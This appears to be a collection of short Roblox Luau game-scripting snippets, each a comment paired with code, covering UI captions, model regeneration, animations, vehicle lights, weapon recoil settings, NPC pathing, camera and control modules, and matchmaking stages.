captionContainer.Size = UDim2.new(0, textWidth + CAPTION_X_MARGIN*2, 0, cellHeight*CAPTION_CONTAINER_Y_SIZE_SCALE)
else
captionContainer.Size = UDim2.new(0, 0, 0, 0)
end
end
self:displayCaption(self.hovering and isVisible)
return self
end
function Icon:displayCaption(bool)
if userInputService.TouchEnabled and not self._draggingFinger then return end
local yOffset = 8
-- Determine caption position
if self._draggingFinger then
yOffset = yOffset + THUMB_OFFSET
end
local iconContainer = self.instances.iconContainer
local captionContainer = self.instances.captionContainer
local newPos = UDim2.new(0, iconContainer.AbsolutePosition.X+iconContainer.AbsoluteSize.X/2-captionContainer.AbsoluteSize.X/2, 0, iconContainer.AbsolutePosition.Y+(iconContainer.AbsoluteSize.Y*2)+yOffset)
captionContainer.Position = newPos
-- Determine caption visibility
local isVisible = self.captionVisible or false
if typeof(bool) == "boolean" then
isVisible = bool
end
self.captionVisible = isVisible
-- Change transparency of relavent caption instances
local captionFadeInfo = self:get("captionFadeInfo")
for _, settingName in pairs(self._groupSettings.caption) do
local settingDetail = self._settingsDictionary[settingName]
settingDetail.useForcedGroupValue = not isVisible
self:_update(settingName)
end
end
|
-- Initialization
|
game.StarterGui.ResetPlayerGuiOnSpawn = false
ScreenGui.Parent = Player:WaitForChild("PlayerGui")
|
-- To make this work, simply group it with the model you want!
|
local modelbackup = script.Parent.Parent:FindFirstChild(modelname):clone()
local trigger = script.Parent
enabled = true
function onTouched(hit)
if enabled == true then
enabled = false
--trigger.BrickColor = BrickColor.new("Really black")
if script.Parent.Parent:FindFirstChild(modelname) ~= nil then
script.Parent.Parent:FindFirstChild(modelname):Destroy()
end
wait(120)
local modelclone = modelbackup:clone()
modelclone.Parent = script.Parent.Parent
modelclone:MakeJoints()
wait(WaitTime)
enabled = true
--trigger.BrickColor = BrickColor.new("Bright violet")
end
end
script.Parent.Touched:connect(onTouched)
|
-- print("Wha " .. pose)
|
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
local desiredAngle = amplitude * math.sin(time * frequency)
wait()
end
-- Tool Animation handling
local tool = getTool()
if tool and tool:FindFirstChild("Handle") then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {20,22} --- Vertical Recoil
,HRecoil = {8,10} --- Horizontal Recoil
,AimRecover = .3 ---- Between 0 & 1
,RecoilPunch = .35
,VPunchBase = 5.75 --- Vertical Punch
,HPunchBase = 3.25 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = .75 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.1
,MinRecoilPower = 1
,MaxRecoilPower = 1
,RecoilPowerStepAmount = 1
,MinSpread = 0.15 --- Min bullet spread value | Studs
,MaxSpread = 25 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 0
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 3 --- Max sway value based on player stamina | Studs
|
---
|
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.MouseButton1Click:connect(function()
if car.Misc.Popups.Parts.L.L.L.Enabled == false then
script.Parent.BackgroundColor3 = Color3.new(0,255/255,0)
script.Parent.TextStrokeColor3 = Color3.new(0,255/255,0)
car.Body.Lights.R.L.L.Enabled = true
car.Misc.Popups.Parts.L.L.L.Enabled = true
for index, child in pairs(car.Misc.Popups.Parts.L:GetChildren()) do
child.Material = Enum.Material.Neon
end
for index, child in pairs(car.Body.Lights.R:GetChildren()) do
child.Material = Enum.Material.Neon
end
elseif car.Misc.Popups.Parts.L.L.L.Enabled == true then
script.Parent.BackgroundColor3 = Color3.new(0,0,0)
script.Parent.TextStrokeColor3 = Color3.new(0,0,0)
car.Body.Lights.R.L.L.Enabled = false
car.Misc.Popups.Parts.L.L.L.Enabled = false
for index, child in pairs(car.Misc.Popups.Parts.L:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
end
for index, child in pairs(car.Body.Lights.R:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
end
end
end)
script.Parent.Parent.Parent.Values.Brake.Changed:connect(function()
if script.Parent.Parent.Parent.Values.Brake.Value ~= 1 and script.Parent.Parent.Parent.IsOn.Value then
for index, child in pairs(car.Body.Lights.B:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
end
car.Body.Lights.B.L.L.Enabled = false
car.Body.a0.Enabled = false
car.Body.a1.Enabled = false
car.Body.a2.Enabled = false
car.Body.a3.Enabled = false
car.Body.a4.Enabled = false
car.Body.a5.Enabled = false
car.Body.a6.Enabled = false
car.Body.a7.Enabled = false
car.Body.a8.Enabled = false
car.Body.a9.Enabled = false
car.Body.a10.Enabled = false
car.Body.a11.Enabled = false
car.Body.a12.Enabled = false
car.Body.a13.Enabled = false
car.Body.a14.Enabled = false
car.Body.a15.Enabled = false
car.Body.a16.Enabled = false
else
for index, child in pairs(car.Body.Lights.B:GetChildren()) do
child.Material = Enum.Material.Neon
end
car.Body.Lights.B.L.L.Enabled = true
car.Body.a0.Enabled = true
car.Body.a1.Enabled = true
car.Body.a2.Enabled = true
car.Body.a3.Enabled = true
car.Body.a4.Enabled = true
car.Body.a5.Enabled = true
car.Body.a6.Enabled = true
car.Body.a7.Enabled = true
car.Body.a8.Enabled = true
car.Body.a9.Enabled = true
car.Body.a10.Enabled = true
car.Body.a11.Enabled = true
car.Body.a12.Enabled = true
car.Body.a13.Enabled = true
car.Body.a14.Enabled = true
car.Body.a15.Enabled = true
car.Body.a16.Enabled = true
end
end)
script.Parent.Parent.Parent.Values.Gear.Changed:connect(function()
if script.Parent.Parent.Parent.Values.Gear.Value == -1 then
for index, child in pairs(car.Body.Lights.Rev:GetChildren()) do
child.Material = Enum.Material.Neon
car.DriveSeat.Reverse:Play()
end
else
for index, child in pairs(car.Body.Lights.Rev:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
car.DriveSeat.Reverse:Stop()
end
end
end)
while wait() do
if (car.DriveSeat.Velocity.magnitude/40)+0.300 < 1.3 then
car.DriveSeat.Reverse.Pitch = (car.DriveSeat.Velocity.magnitude/40)+0.300
car.DriveSeat.Reverse.Volume = (car.DriveSeat.Velocity.magnitude/150)
else
car.DriveSeat.Reverse.Pitch = 1.3
car.DriveSeat.Reverse.Volume = .2
end
end
|
-- Controls the glow of a firefly
|
local Configurations = script.Parent.Parent.Configuration -- Variables for configurations
local Brightness = Configurations.Brightness
local glowTime = Configurations.GlowTime
local notGlowTime = Configurations.NotGlowTime
local glowSpeed = Configurations.GlowSpeed
local glowRange = Configurations.GlowRange
local lightColor = Configurations.Color
local Fly = script.Parent
Fly.PointLight.Color = lightColor.Value -- Initialize light and collor settings
Fly.PointLight.Range = glowRange.Value
Fly.PointLight.Enabled = true
while true do
Fly.BrickColor = BrickColor.new(lightColor.Value) -- Change color of the fly to make it properly visible when the light will glow
for i = 1, Brightness.Value*10 do -- Slowly build strength of the light
Fly.PointLight.Brightness = 0 + i*0.1
Fly.Transparency = 0.5 - (0.5 * i)/(Brightness.Value*10)
wait(1/(glowSpeed.Value*Brightness.Value*10))
end
wait(glowTime.Value+math.random(-10,10)*0.1) -- Wait for light to glow for some time
for i = 1, Brightness.Value*10 do -- Slowly drop strength of the light
Fly.PointLight.Brightness = Brightness.Value - i*0.1
Fly.Transparency = (0.5 * i)/(Brightness.Value*10)
wait(1/(glowSpeed.Value*Brightness.Value*10))
end
Fly.BrickColor = BrickColor.new("Really black") -- Make the fly dark, as it's dark without a light
wait(notGlowTime.Value+math.random(-10,10)*0.1) -- Wait for light to be off for some time
end
|
-- LOCAL
|
local Janitor = require(script.Parent.Janitor)
local Enum_ = require(script.Parent.Enum)
local Signal = require(script.Parent.Signal)
local Tracker = require(script.Tracker)
local CollectiveWorldModel = require(script.CollectiveWorldModel)
local enum = Enum_.enums
local players = game:GetService("Players")
local activeZones = {}
local activeZonesTotalVolume = 0
local activeTriggers = {}
local registeredZones = {}
local activeParts = {}
local activePartToZone = {}
local allParts = {}
local allPartToZone = {}
local activeConnections = 0
local runService = game:GetService("RunService")
local heartbeat = runService.Heartbeat
local heartbeatConnections = {}
local localPlayer = runService:IsClient() and players.LocalPlayer
|
-- Small bug fix where the sound would start playing after the player joined
|
player.CharacterAdded:Connect(function()
task.wait(1)
if currentSound.IsPlaying then
currentSound:Stop()
end
end)
while wait() do
if humanoid.WalkSpeed == 20 then
currentSound.PlaybackSpeed = 1.75
elseif humanoid.WalkSpeed ~= 20 then
currentSound.PlaybackSpeed = 1
end
end
|
------------------------------------------------------------------------
--
-- * used in luaK:setmultret(), (lparser) luaY:adjust_assign()
------------------------------------------------------------------------
|
function luaK:setreturns(fs, e, nresults)
if e.k == "VCALL" then -- expression is an open function call?
luaP:SETARG_C(self:getcode(fs, e), nresults + 1)
elseif e.k == "VVARARG" then
luaP:SETARG_B(self:getcode(fs, e), nresults + 1);
luaP:SETARG_A(self:getcode(fs, e), fs.freereg);
luaK:reserveregs(fs, 1)
end
end
|
-- Fade out the sound over FADE_TIME seconds.
|
local startVolume = sound.Volume
for i = 1, 10 do
sound.Volume = startVolume * (1 - i/10)
wait(FADE_TIME/10)
end
sound:Stop()
print("fade out")
|
--[[
Welds part A to part B using a WeldConstraint (returns weld)
Functions.Weld(
partA, <-- |REQ| Part instance
partB, <-- |REQ| Part instance
isManualWeld <-- true = ManualWeld, false = WeldConstraint [defaults to: false]
)
--]]
|
return function(a, b, isManualWeld)
--- Create weld
local weld = Instance.new((isManualWeld and "ManualWeld" or "WeldConstraint"))
--- Set part adornees
weld.Part0 = a
weld.Part1 = b
--- If manual weld, set CFrame
if isManualWeld then
weld.C0 = a.CFrame:inverse() * b.CFrame
end
--- Part to part A
weld.Parent = a
--
return weld
end
|
-- Create sound instance
|
local currentSound = Instance.new("Sound", soundService)
currentSound.Name = "CurrentSound"
|
-- Make signal strict
|
setmetatable(Signal, {
__index = function(_tb, key)
error(("Attempt to get Signal::%s (not a valid member)"):format(tostring(key)), 2)
end,
__newindex = function(_tb, key, _value)
error(("Attempt to set Signal::%s (not a valid member)"):format(tostring(key)), 2)
end
})
return Signal
|
--[[Transmission]]
|
Tune.TransModes = {"Auto"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 5 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ D ]] 4
, -- Reverse, Neutral, and 1st gear are required
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- ROBLOX deviation END
-- ROBLOX deviation START: Polyfill String.padStart
|
local function stringPadStart(str: string, targetLength_: number, padString_: string?)
local targetLength = math.max(#str, targetLength_)
local padString = padString_ or " "
return (padString:rep(targetLength) .. str):sub(-targetLength)
end
|
-- LOCAL
|
local tweenService = game:GetService("TweenService")
local replicatedStorage = game:GetService("ReplicatedStorage")
local debris = game:GetService("Debris")
local userInputService = game:GetService("UserInputService")
local httpService = game:GetService("HttpService") -- This is to generate GUIDs
local runService = game:GetService("RunService")
local textService = game:GetService("TextService")
local guiService = game:GetService("GuiService")
local starterGui = game:GetService("StarterGui")
local players = game:GetService("Players")
local IconController = require(script.IconController)
local Signal = require(script.Signal)
local Maid = require(script.Maid)
local TopbarPlusGui = require(script.TopbarPlusGui)
local TopbarPlusReference = require(script.TopbarPlusReference)
local referenceObject = TopbarPlusReference.getObject()
local Themes = require(script.Themes)
local activeItems = TopbarPlusGui.ActiveItems
local topbarContainer = TopbarPlusGui.TopbarContainer
local iconTemplate = topbarContainer["IconContainer"]
local DEFAULT_THEME = Themes.Default
local THUMB_OFFSET = 55
local DEFAULT_FORCED_GROUP_VALUES = {}
local Icon = (referenceObject and require(referenceObject.Value)) or {}
Icon.__index = Icon
if not referenceObject then
TopbarPlusReference.addToReplicatedStorage()
end
|
--// Aim|Zoom|Sensitivity Customization
|
ZoomSpeed = 0.15; -- The lower the number the slower and smoother the tween
AimZoom = 5; -- Default zoom
AimSpeed = 0.45;
UnaimSpeed = 0.35;
CycleAimZoom = 4; -- Cycled zoom
MouseSensitivity = 0.05; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
--raycast
|
function heardetect(part)
local target = nil
local Beam = Instance.new("Part", script.debris)
Beam.Anchored = true
Beam.CanCollide = false
Beam.Color = Color3.fromRGB(255, 150, 150)
Beam.Material = Enum.Material.Neon
Beam.Name = "LaserBeam"
Beam.Transparency = 1
--script.Parent.Torso.Orientation = Vector3.new(script.Parent.Torso.Orientation.X,FindTarget().Orientation.Y-FindTarget().Orientation.Y*2,script.Parent.Torso.Orientation.Z)
local Object = script.Parent.Head
local Raycast = Ray.new(Object.CFrame.p, CFrame.new(Object.CFrame.Position, part.Position).LookVector * distance)
local Part, Position = game.Workspace:FindPartOnRayWithIgnoreList(Raycast, {Object, Beam, script.debris}, false, true)
local Distance = (Object.CFrame.p - Position).Magnitude
if visibleray == true then
Beam.Size = Vector3.new(0.1, 0.1, Distance)
Beam.CFrame = CFrame.new(Object.CFrame.Position, part.Position) * CFrame.new(0, 0, -Distance/2)
Beam.Transparency = 0
else
Beam:Destroy()
end
if Part ~= nil then
if game.Players:GetPlayerFromCharacter(Part.Parent) or game.Players:GetPlayerFromCharacter(Part.Parent.Parent) then
--script.Parent.Humanoid:MoveTo(Part.Position)
GoTo(part.Position)
if (part.Position - script.Parent.Head.Position).Magnitude < damagerange then
attack()
end
Beam.BrickColor = BrickColor.new("Bright blue")
else
Beam.BrickColor = BrickColor.new("Really red")
end
else
Beam.BrickColor = BrickColor.new("White")
end
wait()
end
|
--banto.Health.Changed:connect(function()
--local hitSound = soundBank[math.random(1,#soundBank)]:Clone()
--hitSound.PlayOnRemove = true
--hitSound.Parent = banto.PrimaryPart
--wait()
--hitSound:Destroy()
--end)
|
local gruntCoroutine = coroutine.wrap(function()
while wait(math.random(30,60)) do
local soundBank = banto.Head:GetChildren()
local randomSound = soundBank[math.random(1,#soundBank)]
randomSound:Play()
end
end)
gruntCoroutine()
while true do
bp.Parent = banto.PrimaryPart
local goal
repeat
local ray = Ray.new(
Vector3.new(origin.p.x+math.random(-tether,tether),100,origin.p.z+math.random(-tether,tether)),
Vector3.new(0,-1000,0)
)
local part,pos,norm,mat = workspace:FindPartOnRay(ray,banto)
if part == workspace.Terrain and mat ~= Enum.Material.Water then
goal = pos+Vector3.new(0,2.25,0)
end
wait()
until goal
-- move the banto to the newfound goal
walk:Play()
bg.CFrame = CFrame.new(banto.PrimaryPart.Position,goal)
bp.Position = (CFrame.new(banto.PrimaryPart.Position,goal)*CFrame.new(0,0,-100)).p
local start = tick()
repeat wait(1/2)
local ray = Ray.new(banto.PrimaryPart.Position,Vector3.new(0,-1000,0))
--local part,pos,norm,mat = workspace:FindPartOnRay(ray,banto)
--banto:MoveTo(Vector3.new(banto.PrimaryPart.Position.X,pos.Y+2.25,banto.PrimaryPart.Position.Z))
--bp.Position = Vector3.new(bp.Position.X,pos.Y+2.25,bp.Position.Z)
until (banto.PrimaryPart.Position-goal).magnitude < 10 or tick()-start >10
walk:Stop()
bp.Parent = nil
wait(math.random(3,8))
end
|
--Player.CameraMode = "LockFirstPerson"
|
elseif key == "q" or key== "ButtonL2" and zoomed then
zoomed = false
Cam.FieldOfView = 70
animation:Stop()
Player.Character.Humanoid.CameraOffset = Vector3.new(0,0,0)
|
-- Note: The active transparency controller could be made to listen for this event itself.
|
function CameraModule:OnCameraSubjectChanged()
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if self.activeTransparencyController then
self.activeTransparencyController:SetSubject(cameraSubject)
end
if self.activeOcclusionModule then
self.activeOcclusionModule:OnCameraSubjectChanged(cameraSubject)
end
self:ActivateCameraController(nil, camera.CameraType)
end
function CameraModule:OnCameraTypeChanged(newCameraType: Enum.CameraType)
if newCameraType == Enum.CameraType.Scriptable then
if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then
CameraUtils.restoreMouseBehavior()
end
end
-- Forward the change to ActivateCameraController to handle
self:ActivateCameraController(nil, newCameraType)
end
|
-- Returns a character ancestor and its Humanoid, or nil
|
local function FindCharacterAncestor(subject)
if subject and subject ~= Workspace then
local humanoid = subject:FindFirstChild('Humanoid')
if humanoid then
return subject, humanoid
else
return FindCharacterAncestor(subject.Parent)
end
end
return nil
end
|
--------------------------PC AUTO JUMPER-------------------------------
|
local function GetCharacter()
return Player and Player.Character
end
local function GetTorso()
local humanoid = findPlayerHumanoid(Player)
return humanoid and humanoid.Torso
end
local function IsPartAHumanoid(part)
return part and part.Parent and (part.Parent:FindFirstChild('Humanoid') ~= nil)
end
local function doAutoJump()
local character = GetCharacter()
if (character == nil) then
return;
end
local humanoid = findPlayerHumanoid(Player)
if (humanoid == nil) then
return;
end
local rayLength = 1.5;
-- This is how high a ROBLOXian jumps from the mid point of his torso
local jumpHeight = 7.0;
local torso = GetTorso()
if (torso == nil) then
return;
end
local torsoCFrame = torso.CFrame;
local torsoLookVector = torsoCFrame.lookVector;
local torsoPos = torsoCFrame.p;
local torsoRay = Ray.new(torsoPos + Vector3_new(0, -torso.Size.Y/2, 0), torsoLookVector * rayLength);
local jumpRay = Ray.new(torsoPos + Vector3_new(0, jumpHeight - torso.Size.Y, 0), torsoLookVector * rayLength);
local hitPart, _ = RayCastIgnoreList(workspace, torsoRay, {character}, false)
local jumpHitPart, _ = RayCastIgnoreList(workspace, jumpRay, {character}, false)
if (hitPart and jumpHitPart == nil and hitPart.CanCollide == true) then
-- NOTE: this follow line is not in the C++ impl, but an improvement in Click to Move
if not IsPartAHumanoid(hitPart) then
humanoid.Jump = true;
end
end
end
local NO_JUMP_STATES =
{
[Enum.HumanoidStateType.FallingDown] = false;
[Enum.HumanoidStateType.Flying] = false;
[Enum.HumanoidStateType.Freefall] = false;
[Enum.HumanoidStateType.GettingUp] = false;
[Enum.HumanoidStateType.Ragdoll] = false;
[Enum.HumanoidStateType.Running] = false;
[Enum.HumanoidStateType.Seated] = false;
[Enum.HumanoidStateType.Swimming] = false;
-- Special case to detect if we are on a ladder
[Enum.HumanoidStateType.Climbing] = false;
}
local function enableAutoJump()
local humanoid = findPlayerHumanoid(Player)
local currentState = humanoid and humanoid:GetState()
if currentState then
return NO_JUMP_STATES[currentState] == nil
end
return false
end
local function getAutoJump()
return true
end
local function vec3IsZero(vec3)
return vec3.magnitude < 0.05
end
|
-- Local Functions
|
local function setCollisionGroupForPart(part)
if part:IsA("BasePart") then
previousCollisionGroups[part] = part.CollisionGroupId
PhysicsService:SetPartCollisionGroup(part, playerCollisionGroupName)
end
end
local function setCollisionGroupForObject(object)
setCollisionGroupForPart(object)
for _, object in ipairs(object:GetDescendants()) do
setCollisionGroupForPart(object)
end
end
local function resetCollisionGroup(object)
local previousCollisionGroupId = previousCollisionGroups[object]
if not previousCollisionGroupId then return end
local previousCollisionGroupName = PhysicsService:GetCollisionGroupName(previousCollisionGroupId)
if not previousCollisionGroupName then return end
PhysicsService:SetPartCollisionGroup(object, previousCollisionGroupName)
previousCollisionGroups[object] = nil
end
local function onCharacterAdded(character)
setCollisionGroupForObject(character)
character.DescendantAdded:Connect(setCollisionGroupForPart)
character.DescendantRemoving:Connect(resetCollisionGroup)
end
local function onPlayerAdded(player)
player.CharacterAdded:Connect(onCharacterAdded)
end
|
-- Called when any relevant values of GameSettings or LocalPlayer change, forcing re-evalulation of
-- current control scheme
|
function ControlModule:OnComputerMovementModeChange()
local controlModule, success = self:SelectComputerMovementModule()
if success then
self:SwitchToController(controlModule)
end
end
function ControlModule:OnTouchMovementModeChange()
local touchModule, success = self:SelectTouchModule()
if success then
while not self.touchControlFrame do
wait()
end
self:SwitchToController(touchModule)
end
end
function ControlModule:CreateTouchGuiContainer()
if self.touchGui then self.touchGui:Destroy() end
-- Container for all touch device guis
self.touchGui = Instance.new('ScreenGui')
self.touchGui.Name = "TouchGui"
self.touchGui.ResetOnSpawn = false
self.touchGui.Enabled = self.humanoid ~= nil
self.touchControlFrame = Instance.new("Frame")
self.touchControlFrame.Name = "TouchControlFrame"
self.touchControlFrame.Size = UDim2.new(1, 0, 1, 0)
self.touchControlFrame.BackgroundTransparency = 1
self.touchControlFrame.Parent = self.touchGui
self.touchGui.Parent = self.playerGui
end
function ControlModule:GetClickToMoveController()
if not self.controllers[ClickToMove] then
self.controllers[ClickToMove] = ClickToMove.new(CONTROL_ACTION_PRIORITY)
end
return self.controllers[ClickToMove]
end
return ControlModule.new()
|
-- LocalScripts that are cloned and deployed
|
local DriverScriptPrototype = Scripts.Driver
local PassengerScriptPrototype = Scripts.Passenger
local LocalGuiModulePrototype = Scripts.LocalVehicleGui
|
--Module Initialization
|
wait()
for _,i in pairs(script:GetChildren()) do
if i:IsA("ModuleScript") then
require(i)
end
end
|
-------------------------
|
function onClicked()
script.Parent.Click:Play()
script.Parent.ClickDetector.MaxActivationDistance = 0
wait(1)
script.Parent.Ring:Play()
wait(10)
script.Parent.Ring:Stop()
script.Parent.ClickDetector.MaxActivationDistance = 12
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- # Function call
-- result = binarySearch(arr, 0, len(arr)-1, x)
| |
--[=[
For if you want to disable saving in studio for faster close time!
]=]
|
function PlayerDataStoreManager:DisableSaveOnCloseStudio()
assert(RunService:IsStudio())
self._disableSavingInStudio = true
end
|
--[=[
@class Input
The Input module provides access to various user input classes.
- [PreferredInput](/api/PreferredInput)
- [Mouse](/api/Mouse)
- [Keyboard](/api/Keyboard)
- [Touch](/api/Touch)
- [Gamepad](/api/Gamepad)
```lua
local Input = require(packages.Input)
local PreferredInput = Input.PreferredInput
local Mouse = Input.Mouse
local Keyboard = Input.Keyboard
local Touch = Input.Touch
local Gamepad = Input.Gamepad
```
]=]
|
local Input = {
PreferredInput = require(script.PreferredInput),
Mouse = require(script.Mouse),
Keyboard = require(script.Keyboard),
Touch = require(script.Touch),
Gamepad = require(script.Gamepad),
}
return Input
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
if FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then
oldAnim = "idle"
currentlyPlayingEmote = false
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
-- clean up walk if there is one
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop()
runAnimTrack:Destroy()
runAnimTrack = nil
end
return oldAnim
end
function getHeightScale()
if Humanoid then
if not Humanoid.AutomaticScalingEnabled then
return 1
end
local scale = Humanoid.HipHeight / HumanoidHipHeight
if userAnimationSpeedDampening then
if AnimationSpeedDampeningObject == nil then
AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent")
end
if AnimationSpeedDampeningObject ~= nil then
scale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight
end
end
return scale
end
return 1
end
local smallButNotZero = 0.0001
function setRunSpeed(speed)
local speedScaled = speed * 1.25
local heightScale = getHeightScale()
local runSpeed = speedScaled / heightScale
if runSpeed ~= currentAnimSpeed then
if runSpeed < 0.33 then
currentAnimTrack:AdjustWeight(1.0)
runAnimTrack:AdjustWeight(smallButNotZero)
elseif runSpeed < 0.66 then
local weight = ((runSpeed - 0.33) / 0.33)
currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
runAnimTrack:AdjustWeight(weight + smallButNotZero)
else
currentAnimTrack:AdjustWeight(smallButNotZero)
runAnimTrack:AdjustWeight(1.0)
end
currentAnimSpeed = runSpeed
runAnimTrack:AdjustSpeed(runSpeed)
currentAnimTrack:AdjustSpeed(runSpeed)
end
end
function setAnimationSpeed(speed)
if currentAnim == "walk" then
setRunSpeed(speed)
else
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
if currentAnim == "walk" then
if userNoUpdateOnLoop == true then
if runAnimTrack.Looped ~= true then
runAnimTrack.TimePosition = 0.0
end
if currentAnimTrack.Looped ~= true then
currentAnimTrack.TimePosition = 0.0
end
else
runAnimTrack.TimePosition = 0.0
currentAnimTrack.TimePosition = 0.0
end
else
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
if FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then
if currentAnimTrack.Looped then
-- Allow the emote to loop
return
end
repeatAnim = "idle"
currentlyPlayingEmote = false
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, Humanoid)
setAnimationSpeed(animSpeed)
end
end
end
function rollAnimation(animName)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
return idx
end
local function switchToAnim(anim, animName, transitionTime, humanoid)
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop(transitionTime)
runAnimTrack:Destroy()
if userNoUpdateOnLoop == true then
runAnimTrack = nil
end
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
currentAnimTrack.Priority = Enum.AnimationPriority.Core
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
-- check to see if we need to blend a walk/run animation
if animName == "walk" then
local runAnimName = "run"
local runIdx = rollAnimation(runAnimName)
runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
runAnimTrack.Priority = Enum.AnimationPriority.Core
runAnimTrack:Play(transitionTime)
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
end
function playAnimation(animName, transitionTime, humanoid)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
switchToAnim(anim, animName, transitionTime, humanoid)
currentlyPlayingEmote = false
end
function playEmote(emoteAnim, transitionTime, humanoid)
switchToAnim(emoteAnim, emoteAnim.Name, transitionTime, humanoid)
currentlyPlayingEmote = true
end
|
-------------------------------------------------------------------
|
function Cooldown()
for i = CooldownTime,0,-1 do
GUIText.Text = "COOLDOWN: "..i
wait(1)
end
GUIText.Text = Settings.RegenPreText..model.Name
enabled = true
Click.MaxActivationDistance = Settings.ClickDistance
end
|
--[[
Stage implementation
]]
|
local Waiting = {}
Waiting.__index = Waiting
function Waiting.new(gameStageHandler)
local self = setmetatable({
gameStageHandler = gameStageHandler,
}, Waiting)
return self
end
function Waiting:disableQueueTimeout()
self._disableQueueTimeout = true
end
function Waiting:startGame(...)
MatchmakingDestination.startGame(...)
end
function Waiting:initialize()
-- Spawn every player onto the boat
for _, player in pairs(Players:GetPlayers()) do
Util.loadCharacter(player)
end
spawn(function()
DamageHandler.setup()
end)
MatchmakingDestination.run(function() self.gameStageHandler:nextStage() end)
spawn(function()
while not MatchmakingDestination.isPlaying() do
if self.gameStageHandler.currentStageClassName ~= "Waiting" or self._disableQueueTimeout then
return
end
local waitTime = tick() - self.gameStageHandler.timeStageStarted
if waitTime < Conf.queue_time_limit or #Players:getPlayers() < Conf.min_queue_players then
wait(1)
self.gameStageHandler._queueWaitTime = waitTime
else
MatchmakingDestination.startGame()
break
end
end
end)
end
function Waiting:destroy()
-- TODO: Any teardown for MatchmakingDestination
-- Reset the character back to the default state
